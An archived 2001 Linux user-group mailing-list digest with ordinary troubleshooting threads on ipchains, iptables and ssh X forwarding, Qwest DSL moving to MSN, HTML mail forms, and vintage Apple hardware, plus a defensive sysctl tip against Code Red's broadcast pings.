(Zibby)) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: <200108031841.NAA23521@www7.mail.umn.edu> Message-ID: I think I'm being ignored! For help with firewalling under Linux, I suggest looking at http://plonk.sourceforge.net This is a very good script for quickly and easily setting up an ipchains based firewall. (kernel 2.2.*) I haven't looked at the iptables (2.4.*) version yet. Another firewall script you might find useful is here: http://heimdall.asgardsrealm.net/linux/firewall/ This one is for 2.4 only. NEW CONTENT: What kind of iptables troubles are you having. Did you modprobe ip_tables? :) As for Xforwarding, enable it in /etc/sshd_config. ssh -X -v user@host.tld Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From jason.lowe at cit-net.com Fri Aug 3 15:14:10 2001 From: jason.lowe at cit-net.com (Lowe, Jason) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] (no subject) Message-ID: You would have to check into that. I am not sure what the fees to switch would be. I do know that several ISP's here in the Twin Cities offer DSL through Qwest. You do not have to use Qwest.net. It is usually whatever the ISP's monthly internet access fee and then just the DSL charge from Qworst. -----Original Message----- From: Bill Layer [mailto:blayer@qwest.net] Sent: Friday, August 03, 2001 1:42 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] (no subject) On Fri, 3 Aug 2001 13:18:43 -0500 "Lowe, Jason" wrote: > Exactly. the last time I checked I could use any ISP I wanted. So, if I want to avoid this MSN plague - what so I have to do to switch over to another ISP, like Real-Time? Will there be additional monthly or one-time charges? Dammit, why does Qwest have to fsck everything up all the time!!?? -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jspinti at dart.dartdist.com Fri Aug 3 15:20:11 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: Message-ID: That link times out for me. I tried it the last time you posted it, and it timed out then too. Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Andy Zbikowski |(Zibby) |Sent: Friday, August 03, 2001 3:10 PM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] ipchains and ssh | | |I think I'm being ignored! | |Another firewall script you might find useful is here: |http://heimdall.asgardsrealm.net/linux/firewall/ |This one is for 2.4 only. From chri0704 at UMN.EDU Fri Aug 3 15:35:25 2001 From: chri0704 at UMN.EDU (H-P Christianson) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108032035.PAA26739@www7.mail.umn.edu> Thanks a lot. I'll give the script a try. Right now I'm trying to get iptables working... It seems the kernel version and the iptables version I have are not getting along, so I'll upgrade the iptables and try out that script. On 3 Aug 2001, Thomas T. Veldhouse wrote: > Looks like I blew that one :) > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Thomas T. Veldhouse" > To: > Sent: Friday, August 03, 2001 2:15 PM > Subject: Re: [TCLUG] ipchains and ssh > > > > Here is an iptables firewall script that will work well for a single > client. > > > > You might want to edit it a bit to remove the references to ${lan}. This > is > > only used to "allow all lan traffic". You also might want to change the > IP > > address :) > > > > Please don't send this file out publicly. I would prefer to not have it > > "known" what is open and what is not on one of my boxes (even though it is > > behind another firewall -- it is mostly a transparent firewall). > > > > Tom Veldhouse > > veldy@veldy.net > > > > ----- Original Message ----- > > From: "H-P Christianson" > > To: > > Sent: Friday, August 03, 2001 1:41 PM > > Subject: [TCLUG] ipchains and ssh > > > > > > > Hello Linux users! I am continuing work on my home project box and I > want > > > to use ipchains to make a sturdy firewall. (RedHat 7.1). I want to > have > > > default policy deny for the input chain, but allow a few things through. > > > My question is, how do I let ssh connect to the X server? I can ssh > from > > > another linux box with the firewall up, but if I try to run an X > programs > > I > > > get a "can't connect to X" message. Also, if anyone knows any good > > > references for this kind of home firewalling, I'd be very interested. > All > > > of the Howtos I've found deal with multiple boxes on a large commercial > > > network. Thanks in advance. > > > > > > Hans Christianson > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@mn-linux.org > > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From chri0704 at umn.edu Fri Aug 3 15:44:36 2001 From: chri0704 at umn.edu (H-P Christianson) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108032044.PAA26959@www7.mail.umn.edu> modprobe says /etc/modules.conf is more recent than /lib/modules/2.4.2-2/modules.dep. It also says .../ip_tables.o: init_module: Device or resource busy, and insmod ip_tables failed. I don't really know what this stuff means. Should I upgrade iptables? The ssh thing is really bugging me. I'm at my parents house and I have been working on the machine in question via ssh from a crappy linux laptop I can bring with me. Yesterday X would tunnel through ssh. Today, after I changed some things in ipchains, it doesn't work. On 3 Aug 2001, Andy Zbikowski (Zibby) wrote: > I think I'm being ignored! > > For help with firewalling under Linux, I suggest looking at > http://plonk.sourceforge.net > > This is a very good script for quickly and easily setting up an ipchains > based firewall. (kernel 2.2.*) I haven't looked at the iptables > (2.4.*) version yet. > > Another firewall script you might find useful is here: > http://heimdall.asgardsrealm.net/linux/firewall/ > This one is for 2.4 only. > > NEW CONTENT: > What kind of iptables troubles are you having. Did you modprobe ip_tables? > :) > > As for Xforwarding, enable it in /etc/sshd_config. > > ssh -X -v user@host.tld > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 15:45:12 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh References: Message-ID: <01ca01c11c5d$3245b550$3028680a@tgt.com> Worked fine here ... perhaps your firewall is misconfigured ;) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "James Spinti" To: Sent: Friday, August 03, 2001 3:20 PM Subject: RE: [TCLUG] ipchains and ssh > That link times out for me. I tried it the last time you posted it, and it > timed out then too. > > Thanks, > > James Spinti > jspinti at dartdist.com > 952-368-3278 x396 > fax 952-368-3255 > > |-----Original Message----- > |From: tclug-list-admin@mn-linux.org > |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Andy Zbikowski > |(Zibby) > |Sent: Friday, August 03, 2001 3:10 PM > |To: tclug-list@mn-linux.org > |Subject: Re: [TCLUG] ipchains and ssh > | > | > |I think I'm being ignored! > | > |Another firewall script you might find useful is here: > |http://heimdall.asgardsrealm.net/linux/firewall/ > |This one is for 2.4 only. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Fri Aug 3 15:46:31 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh References: <200108032044.PAA26959@www7.mail.umn.edu> Message-ID: <01d301c11c5d$61598ec0$3028680a@tgt.com> Make sure you have the latest version of modutils before you build your kernel. Delete the modules and build your kernel. Build iptables if it is out of date. You should be set. If on redhat, all should be working already for you. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "H-P Christianson" To: Sent: Friday, August 03, 2001 3:44 PM Subject: Re: [TCLUG] ipchains and ssh > modprobe says /etc/modules.conf is more recent than > /lib/modules/2.4.2-2/modules.dep. It also says .../ip_tables.o: > init_module: Device or resource busy, and insmod ip_tables failed. I don't > really know what this stuff means. Should I upgrade iptables? > > The ssh thing is really bugging me. I'm at my parents house and I have > been working on the machine in question via ssh from a crappy linux laptop > I can bring with me. Yesterday X would tunnel through ssh. Today, after I > changed some things in ipchains, it doesn't work. > > On 3 Aug 2001, Andy Zbikowski (Zibby) wrote: > > I think I'm being ignored! > > > > For help with firewalling under Linux, I suggest looking at > > http://plonk.sourceforge.net > > > > This is a very good script for quickly and easily setting up an ipchains > > based firewall. (kernel 2.2.*) I haven't looked at the iptables > > (2.4.*) version yet. > > > > Another firewall script you might find useful is here: > > http://heimdall.asgardsrealm.net/linux/firewall/ > > This one is for 2.4 only. > > > > NEW CONTENT: > > What kind of iptables troubles are you having. Did you modprobe > ip_tables? > > :) > > > > As for Xforwarding, enable it in /etc/sshd_config. > > > > ssh -X -v user@host.tld > > > > Andrew S. Zbikowski | http://www.ringworld.org > > "We can learn much more from wise words, little > > from wisecracks and less from wise guys." > > --William Arthur Ward > > > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From ssinn at qwest.net Fri Aug 3 15:51:22 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] (no subject) In-Reply-To: <20010803133158.545cf555.blayer@qwest.net>; from blayer@qwest.net on Fri, Aug 03, 2001 at 01:31:58PM -0500 References: <3b6ae679.50.0@isd.net> <20010803133158.545cf555.blayer@qwest.net> Message-ID: <20010803155122.A2692@thor> Also note that they are not switching over any of their business-class customers. The businesses must all be using Macs as well :) As far as the *DSL software* running only on Windows, does anyone here using Linux and Qwest actually use their commander software? I have had a total of 11 different machines running on my home network using *nix, Windows and MacOS and I have *never* used the commander software qwest sent me... This is just Micro$ofts way of shouldering in to the DSL market. On Fri, Aug 03, 2001 at 01:31:58PM -0500, Bill Layer wrote: > Ok, W-T-F?? > > Ok, a couple of quotes from that FAQ: > > >Have Qwest.net Internet Access using an analog dial-up line, Qwest DSL > 256, Qwest DSL Select, or Qwest DSL Deluxe connection and, Use the Windows > operating system. > > Uh - So windows Users are being migrated... and why praytell is that? Can > anyone explain this? > > > >MAC Customers: MSN is working on a MAC solution for your Internet access > needs. Until that time, there will not be any changes to your Qwest.net > Internet Access service. > > Ok.. and Mac users are not? Why would the ISP you use make any diff to > which OS you were running on your end? This is totally mind-boggling to > me... And What about users of other operating systems? Are they developing > a 'solution' for us? If they are, what is the problem they are trying to > solve? > > I am totally in the dark... > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Thanks, Spencer J Sinn From natecars at real-time.com Fri Aug 3 16:11:18 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:25 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: <200108032044.PAA26959@www7.mail.umn.edu> Message-ID: On Fri, 3 Aug 2001, H-P Christianson wrote: > modprobe says /etc/modules.conf is more recent than > /lib/modules/2.4.2-2/modules.dep. It also says .../ip_tables.o: > init_module: Device or resource busy, and insmod ip_tables failed. I don't > really know what this stuff means. Should I upgrade iptables? > > The ssh thing is really bugging me. I'm at my parents house and I have > been working on the machine in question via ssh from a crappy linux laptop > I can bring with me. Yesterday X would tunnel through ssh. Today, after I > changed some things in ipchains, it doesn't work. Do you have the 'ipchains' module loaded? if so, iptables won't load.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From cargods at storage.network.com Fri Aug 3 16:12:23 2001 From: cargods at storage.network.com (David S. Cargo) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] (no subject) Message-ID: <200108032112.QAA14675@rainier.network.com> > From: Spencer J Sinn > > As far as the *DSL software* running only on Windows, does anyone here > using Linux and Qwest actually use their commander software? I have had a > total of 11 different machines running on my home network using *nix, Windows > and MacOS and I have *never* used the commander software qwest sent me... > This is just Micro$ofts way of shouldering in to the DSL market. Since my 3c509b would come under Windows 95 before I could get it to work under Linux I got the Cisco 678 working under Windows first. I used the Cisco Commander software to get started. I found it somewhat helpful when on the phone with Qwest to determine why I couldn't connect to my ISP. (They spent an hour on the phone with me, and were both helpful and sympathetic.) I don't anticipate needed Cisco Commander on any regular basis. You can do everything through the command line. I might even be tempted to write an expectk GUI that would provide similar functions on the Linux desktop. (Not something I would do in the short term.) dsc From drew at usfamily.net Fri Aug 3 10:25:40 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] Question References: <200108032112.QAA14675@rainier.network.com> Message-ID: <3B6AC274.A0878765@usfamily.net> Has anyone here ever used a program called Tack 2 ?? ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... 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blah blah .H1> > > I'd rather no block all html (ie just delete all < and >), but maybe only > allow color, size and bold type stuff (frames could be annoying :) ) > > > Thanks, > > Ben > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From chri0704 at umn.edu Fri Aug 3 16:48:52 2001 From: chri0704 at umn.edu (H-P Christianson) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] ipchains and ssh Message-ID: <200108032148.QAA28851@www7.mail.umn.edu> Ah. That is the problem. Thanks for pointing out my idiocy :) On 3 Aug 2001, Nate Carlson wrote: > On Fri, 3 Aug 2001, H-P Christianson wrote: > > modprobe says /etc/modules.conf is more recent than > > /lib/modules/2.4.2-2/modules.dep. It also says .../ip_tables.o: > > init_module: Device or resource busy, and insmod ip_tables failed. I don't > > really know what this stuff means. Should I upgrade iptables? > > > > The ssh thing is really bugging me. I'm at my parents house and I have > > been working on the machine in question via ssh from a crappy linux laptop > > I can bring with me. Yesterday X would tunnel through ssh. Today, after I > > changed some things in ipchains, it doesn't work. > > Do you have the 'ipchains' module loaded? > > if so, iptables won't load.. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 3 16:59:10 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: <200108032148.QAA28851@www7.mail.umn.edu> Message-ID: On Fri, 3 Aug 2001, H-P Christianson wrote: > Ah. That is the problem. Thanks for pointing out my idiocy :) No problem; please, return the favor. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From kelly at ncis.com Fri Aug 3 17:33:57 2001 From: kelly at ncis.com (Kelly) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] HTML help. (OT) ? Message-ID: <003c01c11c6c$63250220$0a01a8c0@inet> Ok I need some advice. My company has a 100 or so laptops out in the field. We are doing away with morning meets and sending in completed work via company supplied software. Unfortunately, they don't think of all the other paperwork that needs to get turned in on a daily basis. Making a spread sheet for each form would be the easiest way to solve the problem, but alas they are not willing to spend any moola. For office and they wont allow me to put star office on the laptops. They wont even allow them to connect to the internet. What I am wondering is. Is it possable to make a form with html. That would be stored on multiple computers ( not on a web site). They would fill in the form using a web browser. Then when done filling in, may be multiple of the same form. Email the contence of this form to one location? Then being able to view the individual forms? I have seen forms on the internet so I am sure the form could be done but the, where it goes and how its used I have no idea about. Any guidence would be of help. Thanks Kelly -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/5d056d85/attachment.htm From hick0088 at tc.umn.edu Fri Aug 3 18:41:13 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:26 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: References: <3B6ADA03.5024EDE4@eetc.com> Message-ID: <20010803184113.6fd07ab2.hick0088@tc.umn.edu> "James Spinti" wrote: > > The Zilog Z80 was a souped up version of the Intel 8080 with a few extra > instructions. It was an 8-bit processor. My father-in-law added one to > his Apple II so that he could run CP/M programs on it. The Z80 also lives on in several Texas Instruments graphing calculators (most of the TI-80 series). The TI-89 and -92 have Motorola 68000s. They should really look into upgrading to better chips, like ARM or even a low-power version of a 386... -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ I'm writing an / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ unauthorized \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) autobiography. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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You can try to do `/sbin/service stop', but in my experience, that doesn't always work. Try `/etc/init.d/ stop' or `/etc/rc.d/init.d/ stop' -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Shin: a device for / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ finding furniture in the \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) dark. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/39880b93/attachment.pgp From hick0088 at tc.umn.edu Fri Aug 3 19:04:55 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] HTML help. (OT) ? In-Reply-To: <003c01c11c6c$63250220$0a01a8c0@inet> References: <003c01c11c6c$63250220$0a01a8c0@inet> Message-ID: <20010803190455.614347f7.hick0088@tc.umn.edu> "Kelly" wrote: > > What I am wondering is. Is it possable to make a form with html. That > would be stored on multiple computers ( not on a web site). > They would fill in the form using a web browser. Then when done filling > in, may be multiple of the same form. Email the contence of this form to > one location? Then being able to view the individual forms? Not sure if this is what you're asking, but forms can be pointed at e-mail addresses by making the action= URL be a mailto: address.
The browser must be configured properly to send mail, and the mail that is sent goes out in the standard URL-encoded way (I think). -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ This message made from / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ 100% recycled photons \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) and electrons. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/20169cfd/attachment.pgp From jspinti at mn.rr.com Fri Aug 3 19:07:39 2001 From: jspinti at mn.rr.com (James Spinti) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] ipchains and ssh In-Reply-To: <01ca01c11c5d$3245b550$3028680a@tgt.com> References: <01ca01c11c5d$3245b550$3028680a@tgt.com> Message-ID: <01080319073900.01443@pii400> Tried it from home too...couldn't connect. :( On Friday 03 August 2001 15:45, you wrote: > Worked fine here ... perhaps your firewall is misconfigured ;) > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "James Spinti" > To: > Sent: Friday, August 03, 2001 3:20 PM > Subject: RE: [TCLUG] ipchains and ssh > > > That link times out for me. I tried it the last time you posted it, and > > it > > > timed out then too. > > > > Thanks, > > > > James Spinti > > jspinti at dartdist.com > > 952-368-3278 x396 > > fax 952-368-3255 > > > > |-----Original Message----- > > |From: tclug-list-admin@mn-linux.org > > |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Andy Zbikowski > > |(Zibby) > > |Sent: Friday, August 03, 2001 3:10 PM > > |To: tclug-list@mn-linux.org > > |Subject: Re: [TCLUG] ipchains and ssh > > | > > | > > |I think I'm being ignored! > > | > > |Another firewall script you might find useful is here: > > |http://heimdall.asgardsrealm.net/linux/firewall/ > > |This one is for 2.4 only. > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- James Spinti jspinti@mn.rr.com From shane at shell.schulte.org Fri Aug 3 19:26:35 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] HTML help. (OT) ? In-Reply-To: <20010803190455.614347f7.hick0088@tc.umn.edu> Message-ID: Kelly, You might want think about using one centeral CGI or a Servlet to route all of this incomming info to a database or a generated XML file for all to see...shane@shanekinney.net for more info... ~Shane On Fri, 3 Aug 2001, Mike Hicks wrote: > "Kelly" wrote: > > > > What I am wondering is. Is it possable to make a form with html. That > > would be stored on multiple computers ( not on a web site). > > They would fill in the form using a web browser. Then when done filling > > in, may be multiple of the same form. Email the contence of this form to > > one location? Then being able to view the individual forms? > > Not sure if this is what you're asking, but forms can be pointed at e-mail > addresses by making the action= URL be a mailto: address. > > > > The browser must be configured properly to send mail, and the mail that is > sent goes out in the standard URL-encoded way (I think). > > -- > _ _ _ _ _ ___ _ _ _ ___ _ _ __ This message made from > / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ 100% recycled photons > \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) and electrons. > [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] > From hick0088 at tc.umn.edu Fri Aug 3 19:27:41 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] Fun with codered. In-Reply-To: <3B6AD575.1472044@haxxed.com> References: <3B6AD575.1472044@haxxed.com> Message-ID: <20010803192741.1f2372cc.hick0088@tc.umn.edu> Callum Lerwick wrote: > > Okay so I managed to capture a copy of codered, and am having all kinds > of fun picking it apart. > > And have also discovered why I'm seeing all kinds of broadcast pinging > across my network. Seems the dominant strain of codered has been hacked > to ping broadcast instead of the whitehouse. Bastards. ;P Eesh.. Well, for people out there who don't want to be part of that problem echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts or add this line to /etc/sysctl.conf net.ipv4.icmp_echo_ignore_broadcasts=1 I believe that this may also reduce the number of portscans you get, since some tools may do a broadcast ping to a subnet before scanning for systems. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Do you want fries with / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ that? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/6a854577/attachment.pgp From kbullock at ringworld.org Fri Aug 3 20:16:31 2001 From: kbullock at ringworld.org (Kevin R. Bullock) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: <20010802231232.G26452@real-time.com> Message-ID: On Thu, 2 Aug 2001, Carl Wilhelm Soderstrom wrote: > > 2x - Apple IIe's. What can these possibly be used for? I don't even > > know what OS these run... > they don't really have an OS... there's an Apple BASIC interpreter > built into the ROM (sometimes I wish x86 boxen had something like this..); > which serves as a bootloader for whatever program you have. > somewhere I probably still have a pile of 5.25" floppies with my > Apple BASIC programs on it. Actually, they did have an OS... several, actually. Apple DOS 3.3 was the primary one, which was something like a fusion of a simple shell and a BASIC interpreter. But it was decidedly more than the BASIC ROM, in that it would actually work with disks. The BASIC ROM only handled cassette tapes IIRC. Then there was Pascal, which was an operating system unto itself. (Print Shop notably used this: you booted off of the Print Shop floppy and it ran the program automagically.) Later came ProDOS, which still involved a BASIC shell, but was a bit more powerful, especially since it could handle subdirectories. :) > > 7x Apple IIci Cache cards > what the heck is this? never having taken apart my apple IIc (no > need); I don't even know where a card might fit in the things. The cache cards are for the *Mac* IIci, a completely different beast from the Apple //c. (There never was an Apple IIci of the Apple ][ family.) They use the NuBus expansion slots that were so dang useful in the Mac II series. Just a bit more history on a Friday afternoon... Pacem in Terris / Mir / Shanti / Salaam / Heiwa Kevin R. Bullock From chrome at real-time.com Fri Aug 3 20:26:39 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] Stuff I found/got at auction. What now? In-Reply-To: ; from kbullock@ringworld.org on Fri, Aug 03, 2001 at 08:16:31PM -0500 References: <20010802231232.G26452@real-time.com> Message-ID: <20010803202634.D30976@real-time.com> > > somewhere I probably still have a pile of 5.25" floppies with my > > Apple BASIC programs on it. > Actually, they did have an OS... several, actually. Apple DOS 3.3 was > the primary one, which was something like a fusion of a simple shell and > a BASIC interpreter. hmm. never saw it. which isn't saying much. :) > But it was decidedly more than the BASIC ROM, in > that it would actually work with disks. The BASIC ROM only handled > cassette tapes IIRC. I certainly seem to have done quite well with floppy disks for it. :) I had *heard* of hard drives, but I don't think I ever saw one (or at least never recognized one for what it was). I also remember doing dumb things like sending a line feed to the printer (over a shared appletalk network!) and thinking that was so cool. :) you know what? I don't miss it much at all. :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From tmechanic at mn.mediaone.net Fri Aug 3 20:33:08 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] (no subject) References: Message-ID: <3B6B50D4.41BAB563@mn.mediaone.net> Personally I used to use Black-Hole internet out of Chanhassen, they were very good to me and quite knowlegable. $19.95 for unlimited DSL account. "Lowe, Jason" wrote: > You would have to check into that. I am not sure what the fees to switch > would be. I do know that several ISP's here in the Twin Cities offer DSL > through Qwest. You do not have to use Qwest.net. It is usually whatever the > ISP's monthly internet access fee and then just the DSL charge from Qworst. > > -----Original Message----- > From: Bill Layer [mailto:blayer@qwest.net] > Sent: Friday, August 03, 2001 1:42 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] (no subject) > > On Fri, 3 Aug 2001 13:18:43 -0500 > "Lowe, Jason" wrote: > > > Exactly. the last time I checked I could use any ISP I wanted. > > So, if I want to avoid this MSN plague - what so I have to do to switch > over to another ISP, like Real-Time? Will there be additional monthly or > one-time charges? > > Dammit, why does Qwest have to fsck everything up all the time!!?? > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Fri Aug 3 21:32:48 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] runix Message-ID: <20010803213248.7a4ff27a.hick0088@tc.umn.edu> Anyone tried Runix (Linux for PS1)? http://www.runix.ru/ I downloaded it, but I don't know what to do with it now. Do I just burn the kernel image onto a CD? -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Bush makes me wanna Ralph. / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010803/db3c7827/attachment.pgp From dsherman at real-time.com Fri Aug 3 22:21:50 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] (no subject) In-Reply-To: References: Message-ID: <01080322215000.01069@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The impending switch to MSN is why I just moved my access from Qwest to Real-Time. Up until then, I actually had good service from Qwest, and probably would not have changed. Then again, I'm glad I was "forced" to change, cuz the crew at R-T rocks! ;-) Dave Sherman On Friday 03 August 2001 13:18, thus spake Lowe, Jason: > Exactly. the last time I checked I could use any ISP I wanted. > > -----Original Message----- > From: Nate Carlson [mailto:natecars@real-time.com] > Sent: Friday, August 03, 2001 1:19 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] (no subject) > > On Fri, 3 Aug 2001 swalkup@isd.net wrote: > > http://www.qwest.net/nav4/msn/faq.html > > > > Kinda glad I don't have DSL in my area yet. > > Ah, but even if you did have DSL in the area, why would you use > Qwest/MSN as your ISP? :) - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7a2pRA68l26XsZUYRAuWaAKDARrchFmTfjgsY9JAvUmUM59ZHvwCg3zx5 1d2AboXv9QJUL+/wnJKC41I= =IHTr -----END PGP SIGNATURE----- From markbrowne at mn.mediaone.net Fri Aug 3 22:36:14 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:25:27 2005 Subject: [TCLUG] HTML help. (OT) ? References: <003c01c11c6c$63250220$0a01a8c0@inet> Message-ID: <008901c11c96$a039cfe0$6601a8c0@zippy> I like your first idea. Star office comes with a nice spreadsheet module. Why not just make up canned forms and have the users e-mail the finished spreadsheet? Mark Browne ----- Original Message ----- From: Kelly To: 